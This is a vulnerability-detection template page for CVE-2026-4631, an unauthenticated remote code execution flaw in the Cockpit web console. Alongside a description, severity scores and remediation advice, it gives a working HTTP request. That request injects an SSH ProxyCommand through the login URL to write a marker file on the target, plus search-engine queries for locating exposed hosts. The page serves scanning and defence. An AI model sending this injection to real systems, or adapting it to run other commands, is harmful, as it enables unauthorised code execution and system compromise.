Cockpit Web Console < 360 - Remote Code Execution
CVE-2026-4631
Early Release
Description
Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
Severity
Critical
CVSS Score
9.8
Exploit Probability
2%
Affected Product
cockpit
Published Date
April 15, 2026
Template Author
dhiyaneshdk
CVE-2026-4631.yaml
id: CVE-2026-4631
info:
name: Cockpit Web Console < 360 - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
impact: |
Attackers can execute arbitrary code on the Cockpit host without valid credentials, leading to full system compromise.
remediation: Update to the latest version with input validation and sanitization for SSH parameters.
reference:
- https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
- https://github.com/cockpit-project/cockpit/commit/9d0695647
- https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-4631
epss-score: 0.01823
epss-percentile: 0.82913
cwe-id: CWE-78
cpe: cpe:2.3:a:cockpit-project:cockpit:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: cockpit-project
product: cockpit
shodan-query: title:"Cockpit"
fofa-query: title="Cockpit"
tags: cve,cve2026,cockpit,rce,unauthenticated
flow: http(1) && http(2)
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
GET /cockpit+=-oProxyCommand=echo%20CVE-2026-4631%20%3E%20%2Fusr%2Fshare%2Fcockpit%2Fstatic%2F{{filename}}.txt%20%23/login HTTP/1.1
Host: {{Hostname}}
Authorization: Basic Og==
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(body, "authentication-failed")'
condition: and
internal: true
- raw:
- |
GET /cockpit/static/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "CVE-2026-4631")'
condition: and
# digest: 4a0a00473045022100fe61d21124829ff275da2876e1069bc80dcd3313f8a93bc778d6b00e372f3a5d022044294a2412d0bf89d40e0e8a0f78967785cb4f6aa92cec850223f1ecf95c56e9:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-4631
CWE ID:
cwe-78
Remediation Steps
Update to the latest version with input validation and sanitization for SSH parameters.